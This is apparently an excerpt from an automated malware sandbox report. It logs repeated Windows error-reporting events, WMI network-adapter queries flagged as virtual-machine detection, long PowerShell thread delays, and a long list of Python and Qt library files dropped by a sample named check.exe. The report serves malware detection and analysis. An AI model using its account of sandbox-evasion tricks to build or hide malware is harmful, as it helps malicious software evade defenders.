Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapter

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5688			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3982			Jump to behavior

Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qicns.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qminimal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtGui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtCore.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qico.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qgif.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\sip.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Qml.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwindows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\d3dcompiler_47.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\opengl32sw.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtiff.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Network.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\sip.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtWidgets.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5QmlModels.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\styles\qwindowsvistastyle.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qwindows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qtga.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\QtWidgets.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platformthemes\qxdgdesktopportal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qwebp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5QmlModels.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qwebgl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5WebSockets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Svg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qicns.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\charset_normalizer\md.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5WebSockets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Svg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qico.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtCore.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwindows.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5DBus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Network.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libGLESv2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qgif.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5DBus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qtiff.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qico.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Quick.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qicns.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qwbmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qwebp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtWidgets.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\python313.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5Network.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qminimal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\platforms\qwebgl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\QtGui.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Quick.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qoffscreen.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5Qml.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\libEGL.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qsvg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qtga.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Svg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\psutil\_psutil_windows.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qjpeg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qgif.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\opengl32sw.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\QtCore.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\generic\qtuiotouchplugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\platforms\qminimal.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\bin\Qt5Qml.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\imageformats\qwebp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5DBus.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qsvg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\plugins\imageformats\qtga.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\charset_normalizer\md__mypyc.cp313-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\Qt5WebSockets.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_wmi.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\bin\Qt5QmlModels.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qsvg.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI77842\PyQt5\Qt5\plugins\imageformats\qtiff.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\iconengines\qsvgicon.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI59362\PyQt5\Qt5\bin\opengl32sw.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\PyQt5\Qt5\plugins\platforms\qwebgl.dll	Jump to dropped file
Source: C:\Users\user\AppData\Roaming\tFqTwCHm\check.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI29362\unicodedata.pyd	Jump to dropped file
